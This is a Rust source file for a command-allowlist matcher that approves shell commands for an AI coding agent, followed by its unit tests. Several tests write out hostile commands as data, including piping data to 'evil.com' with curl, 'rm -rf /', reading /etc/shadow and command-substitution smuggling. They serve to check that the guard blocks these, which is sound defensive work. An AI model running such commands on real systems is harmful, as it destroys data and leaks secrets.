Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    /// Load allowlist patterns from trusted home config only
13    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
14    /// intentionally not read: it lives in the working tree the agent edits, and
15    /// the harness applies its own project settings directly. See
16    /// `docs/design/trusted-customization.md`.
17    pub fn load() -> Self {
18        match std::env::var_os("HOME") {
19            Some(home) => Self::load_from_home(Path::new(&home)),
20            None => Matcher {
21                exact: HashSet::new(),
22                globs: Vec::new(),
23            },
24        }
25    }
26
27    fn load_from_home(home: &Path) -> Self {
28        let mut patterns = Matcher {
29            exact: HashSet::new(),
30            globs: Vec::new(),
31        };
32        patterns.load_file(&home.join(".claude/settings.json"));
33        patterns
34    }
35
36    fn load_file(&mut self, path: &Path) {
37        let Ok(contents) = std::fs::read_to_string(path) else {
38            return;
39        };
40        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41            return;
42        };
43
44        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45            for entry in arr.iter().filter_map(|e| e.as_str()) {
46                self.add_pattern(entry);
47            }
48        }
49
50        if let Some(arr) = value
51            .get("permissions")
52            .and_then(|v| v.get("allow"))
53            .and_then(|v| v.as_array())
54        {
55            for entry in arr.iter().filter_map(|e| e.as_str()) {
56                self.add_pattern(entry);
57            }
58        }
59    }
60
61    fn add_pattern(&mut self, entry: &str) {
62        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63            return;
64        };
65        if inner.is_empty() {
66            return;
67        }
68        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69            format!("{prefix} *")
70        } else {
71            inner.to_string()
72        };
73        if normalized.contains('*') {
74            self.globs
75                .push(normalized.split('*').map(String::from).collect());
76        } else {
77            self.exact.insert(normalized);
78        }
79    }
80
81    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82        let Cmd::Simple(simple) = cmd else {
83            return false;
84        };
85        let normalized = check::normalize_for_matching(simple);
86        let normalized = normalized.trim();
87        if normalized.is_empty() {
88            return false;
89        }
90        if self.exact.contains(normalized) {
91            return true;
92        }
93        self.globs
94            .iter()
95            .any(|parts| glob_matches(parts, normalized))
96    }
97
98    pub fn is_empty(&self) -> bool {
99        self.exact.is_empty() && self.globs.is_empty()
100    }
101
102    #[cfg(test)]
103    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
104        let mut m = Matcher {
105            exact: HashSet::new(),
106            globs: Vec::new(),
107        };
108        for p in patterns {
109            m.add_pattern(&format!("Bash({p})"));
110        }
111        m
112    }
113}
114
115pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
116    match cmd {
117        Cmd::Simple(_) => {
118            check::is_safe_cmd(cmd)
119                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
120        }
121        _ => check::is_safe_cmd(cmd),
122    }
123}
124
125fn glob_matches(parts: &[String], text: &str) -> bool {
126    let first = &parts[0];
127    let last = &parts[parts.len() - 1];
128
129    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
130        let prefix = &first[..first.len() - 1];
131        return text == prefix || text.starts_with(first.as_str());
132    }
133
134    if !text.starts_with(first.as_str()) {
135        return false;
136    }
137    if !text.ends_with(last.as_str()) {
138        return false;
139    }
140    let mut pos = first.len();
141    let end = text.len() - last.len();
142    if pos > end {
143        return false;
144    }
145    for part in &parts[1..parts.len() - 1] {
146        match text[pos..end].find(part.as_str()) {
147            Some(idx) => pos += idx + part.len(),
148            None => return false,
149        }
150    }
151    pos <= end
152}
153
154#[cfg(test)]
155mod tests {
156    use super::*;
157    use std::fs;
158
159    use crate::cst;
160
161    fn empty() -> Matcher {
162        Matcher {
163            exact: HashSet::new(),
164            globs: Vec::new(),
165        }
166    }
167
168    fn cmd(s: &str) -> Cmd {
169        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
170        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
171        assert_eq!(
172            script.0[0].pipeline.commands.len(),
173            1,
174            "expected single command: {s}"
175        );
176        script.0[0].pipeline.commands[0].clone()
177    }
178
179    fn segments(command: &str) -> Vec<Cmd> {
180        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
181        script
182            .0
183            .into_iter()
184            .flat_map(|stmt| stmt.pipeline.commands)
185            .collect()
186    }
187
188    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
189        is_cmd_covered(cmd, patterns)
190    }
191
192    fn all_covered(command: &str, patterns: &Matcher) -> bool {
193        let Some(script) = cst::parse(command) else {
194            return false;
195        };
196        script.0.iter().all(|stmt| {
197            check::is_safe_pipeline(&stmt.pipeline)
198                || stmt
199                    .pipeline
200                    .commands
201                    .iter()
202                    .all(|c| is_cmd_covered(c, patterns))
203        })
204    }
205
206    #[test]
207    fn parse_exact_pattern() {
208        let mut p = empty();
209        p.add_pattern("Bash(npm test)");
210        assert!(p.exact.contains("npm test"));
211        assert!(p.globs.is_empty());
212    }
213
214    #[test]
215    fn parse_legacy_colon_star() {
216        let mut p = empty();
217        p.add_pattern("Bash(npm run:*)");
218        assert!(p.exact.is_empty());
219        assert_eq!(p.globs.len(), 1);
220    }
221
222    #[test]
223    fn parse_space_star() {
224        let mut p = empty();
225        p.add_pattern("Bash(npm run *)");
226        assert!(p.exact.is_empty());
227        assert_eq!(p.globs.len(), 1);
228    }
229
230    #[test]
231    fn parse_non_bash_skipped() {
232        let mut p = empty();
233        p.add_pattern("WebFetch");
234        p.add_pattern("XcodeBuildMCP");
235        assert!(p.is_empty());
236    }
237
238    #[test]
239    fn parse_empty_bash_skipped() {
240        let mut p = empty();
241        p.add_pattern("Bash()");
242        assert!(p.is_empty());
243    }
244
245    #[test]
246    fn match_exact() {
247        let mut p = empty();
248        p.add_pattern("Bash(npm test)");
249        assert!(p.matches_cmd(&cmd("npm test")));
250        assert!(!p.matches_cmd(&cmd("npm test --watch")));
251    }
252
253    #[test]
254    fn match_space_star_word_boundary() {
255        let mut p = empty();
256        p.add_pattern("Bash(ls *)");
257        assert!(p.matches_cmd(&cmd("ls -la")));
258        assert!(p.matches_cmd(&cmd("ls foo")));
259        assert!(!p.matches_cmd(&cmd("lsof")));
260    }
261
262    #[test]
263    fn match_star_no_space_no_boundary() {
264        let mut p = empty();
265        p.add_pattern("Bash(ls*)");
266        assert!(p.matches_cmd(&cmd("ls -la")));
267        assert!(p.matches_cmd(&cmd("lsof")));
268    }
269
270    #[test]
271    fn match_legacy_colon_star_word_boundary() {
272        let mut p = empty();
273        p.add_pattern("Bash(npm run:*)");
274        assert!(p.matches_cmd(&cmd("npm run build")));
275        assert!(p.matches_cmd(&cmd("npm run test")));
276        assert!(!p.matches_cmd(&cmd("npm running")));
277        assert!(!p.matches_cmd(&cmd("npm install")));
278    }
279
280    #[test]
281    fn match_star_at_beginning() {
282        let mut p = empty();
283        p.add_pattern("Bash(* --version)");
284        assert!(p.matches_cmd(&cmd("npm --version")));
285        assert!(p.matches_cmd(&cmd("cargo --version")));
286        assert!(!p.matches_cmd(&cmd("npm --help")));
287    }
288
289    #[test]
290    fn match_star_in_middle() {
291        let mut p = empty();
292        p.add_pattern("Bash(git * main)");
293        assert!(p.matches_cmd(&cmd("git checkout main")));
294        assert!(p.matches_cmd(&cmd("git merge main")));
295        assert!(!p.matches_cmd(&cmd("git checkout develop")));
296    }
297
298    #[test]
299    fn match_env_prefix_stripped() {
300        let mut p = empty();
301        p.add_pattern("Bash(bundle install)");
302        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
303    }
304
305    #[test]
306    fn match_fd_redirect_stripped() {
307        let mut p = empty();
308        p.add_pattern("Bash(npm test)");
309        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
310    }
311
312    #[test]
313    fn match_fd_redirect_with_glob() {
314        let mut p = empty();
315        p.add_pattern("Bash(npm run *)");
316        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
317    }
318
319    #[test]
320    fn empty_patterns_match_nothing() {
321        let p = empty();
322        assert!(!p.matches_cmd(&cmd("anything")));
323    }
324
325    #[test]
326    fn match_bare_star_matches_everything() {
327        let mut p = empty();
328        p.add_pattern("Bash(*)");
329        assert!(p.matches_cmd(&cmd("anything at all")));
330        assert!(p.matches_cmd(&cmd("rm -rf /")));
331    }
332
333    #[test]
334    fn unsafe_syntax_not_bypassed_by_match() {
335        let mut p = empty();
336        p.add_pattern("Bash(./script.sh *)");
337        let c = cmd("./script.sh > /etc/passwd");
338        assert!(check::has_unsafe_syntax(&c));
339        assert!(!is_covered(&c, &p));
340    }
341
342    #[test]
343    fn command_substitution_not_bypassed_by_match() {
344        let mut p = empty();
345        p.add_pattern("Bash(./script.sh *)");
346        let c = cmd("./script.sh $(rm -rf /)");
347        assert!(!is_covered(&c, &p));
348    }
349
350    #[test]
351    fn mixed_chain_safe_plus_settings() {
352        let mut p = empty();
353        p.add_pattern("Bash(./generate-docs.sh)");
354        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
355    }
356
357    #[test]
358    fn mixed_chain_safe_plus_unapproved_denied() {
359        let mut p = empty();
360        p.add_pattern("Bash(./generate-docs.sh)");
361        assert!(!all_covered("cargo test && rm -rf /", &p));
362    }
363
364    #[test]
365    fn glob_does_not_cross_chain_boundary() {
366        let mut p = empty();
367        p.add_pattern("Bash(cargo test *)");
368        let cmds = segments("cargo test --release && rm -rf /");
369        assert_eq!(cmds.len(), 2);
370        assert!(p.matches_cmd(&cmds[0]));
371        assert!(!p.matches_cmd(&cmds[1]));
372        assert!(!all_covered("cargo test --release && rm -rf /", &p));
373    }
374
375    #[test]
376    fn glob_does_not_cross_pipe_boundary() {
377        let mut p = empty();
378        p.add_pattern("Bash(safe-cmd *)");
379        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
380    }
381
382    #[test]
383    fn glob_does_not_cross_semicolon_boundary() {
384        let mut p = empty();
385        p.add_pattern("Bash(safe-cmd *)");
386        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
387    }
388
389    #[test]
390    fn file_redirect_promoted_to_safewrite() {
391        let p = empty();
392        let c = cmd("echo > /etc/passwd");
393        assert!(is_covered(&c, &p));
394    }
395
396    #[test]
397    fn bare_star_blocked_by_unsafe_syntax_backtick() {
398        let mut p = empty();
399        p.add_pattern("Bash(*)");
400        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
401    }
402
403    #[test]
404    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
405        let mut p = empty();
406        p.add_pattern("Bash(*)");
407        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
408    }
409
410    #[test]
411    fn safe_command_substitution_allowed_through_is_safe() {
412        let p = empty();
413        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
414    }
415
416    #[test]
417    fn nested_shell_not_recursively_validated_by_settings() {
418        let mut p = empty();
419        p.add_pattern("Bash(bash *)");
420        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
421        assert!(!check::is_safe_cmd(&c));
422        assert!(!check::has_unsafe_syntax(&c));
423        assert!(is_covered(&c, &p));
424    }
425
426    #[test]
427    fn nested_shell_redirect_promoted_to_safewrite() {
428        let p = empty();
429        let c = cmd("bash -c 'echo hello' > /tmp/out");
430        assert!(is_covered(&c, &p));
431    }
432
433    #[test]
434    fn quoted_operators_stay_as_one_segment() {
435        let mut p = empty();
436        p.add_pattern("Bash(./script *)");
437        assert!(all_covered("./script 'arg && rm -rf /'", &p));
438    }
439
440    #[test]
441    fn load_from_home_reads_home_settings() {
442        let home = tempfile::tempdir().unwrap();
443        let claude_dir = home.path().join(".claude");
444        fs::create_dir_all(&claude_dir).unwrap();
445        fs::write(
446            claude_dir.join("settings.json"),
447            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
448        )
449        .unwrap();
450        let p = Matcher::load_from_home(home.path());
451        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
452        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
453        assert!(!p.matches_cmd(&cmd("./evil.sh")));
454    }
455
456    #[test]
457    fn load_from_home_ignores_project_settings() {
458        // A project's .claude/settings.json living next to home is never read:
459        // only ~/.claude/settings.json is. Here the project tree has an allow
460        // entry that must not take effect.
461        let home = tempfile::tempdir().unwrap();
462        let project = tempfile::tempdir().unwrap();
463        let project_claude = project.path().join(".claude");
464        fs::create_dir_all(&project_claude).unwrap();
465        fs::write(
466            project_claude.join("settings.json"),
467            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
468        )
469        .unwrap();
470        let p = Matcher::load_from_home(home.path());
471        assert!(!p.matches_cmd(&cmd("rm -rf /")));
472        assert!(p.is_empty());
473    }
474
475    #[test]
476    fn load_from_home_chains_with_builtins() {
477        let home = tempfile::tempdir().unwrap();
478        let claude_dir = home.path().join(".claude");
479        fs::create_dir_all(&claude_dir).unwrap();
480        fs::write(
481            claude_dir.join("settings.json"),
482            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
483        )
484        .unwrap();
485        let p = Matcher::load_from_home(home.path());
486        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
487        assert!(!all_covered("cargo test && ./evil.sh", &p));
488    }
489
490    #[test]
491    fn load_file_nonexistent() {
492        let mut p = empty();
493        p.load_file(Path::new("/nonexistent/path/settings.json"));
494        assert!(p.is_empty());
495    }
496
497    #[test]
498    fn load_file_malformed_json() {
499        let dir = tempfile::tempdir().unwrap();
500        let path = dir.path().join("settings.json");
501        std::fs::write(&path, "not json{{{").unwrap();
502        let mut p = empty();
503        p.load_file(&path);
504        assert!(p.is_empty());
505    }
506
507    #[test]
508    fn load_file_approved_commands() {
509        let dir = tempfile::tempdir().unwrap();
510        let path = dir.path().join("settings.json");
511        fs::write(
512            &path,
513            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
514        )
515        .unwrap();
516        let mut p = empty();
517        p.load_file(&path);
518        assert!(p.matches_cmd(&cmd("npm test")));
519        assert!(p.matches_cmd(&cmd("npm run build")));
520        assert!(!p.matches_cmd(&cmd("curl evil.com")));
521    }
522
523    #[test]
524    fn load_file_permissions_allow() {
525        let dir = tempfile::tempdir().unwrap();
526        let path = dir.path().join("settings.json");
527        fs::write(
528            &path,
529            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
530        )
531        .unwrap();
532        let mut p = empty();
533        p.load_file(&path);
534        assert!(p.matches_cmd(&cmd("cargo test")));
535        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
536    }
537
538    #[test]
539    fn load_file_both_fields() {
540        let dir = tempfile::tempdir().unwrap();
541        let path = dir.path().join("settings.json");
542        fs::write(
543            &path,
544            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
545        )
546        .unwrap();
547        let mut p = empty();
548        p.load_file(&path);
549        assert!(p.matches_cmd(&cmd("npm test")));
550        assert!(p.matches_cmd(&cmd("cargo test --release")));
551    }
552}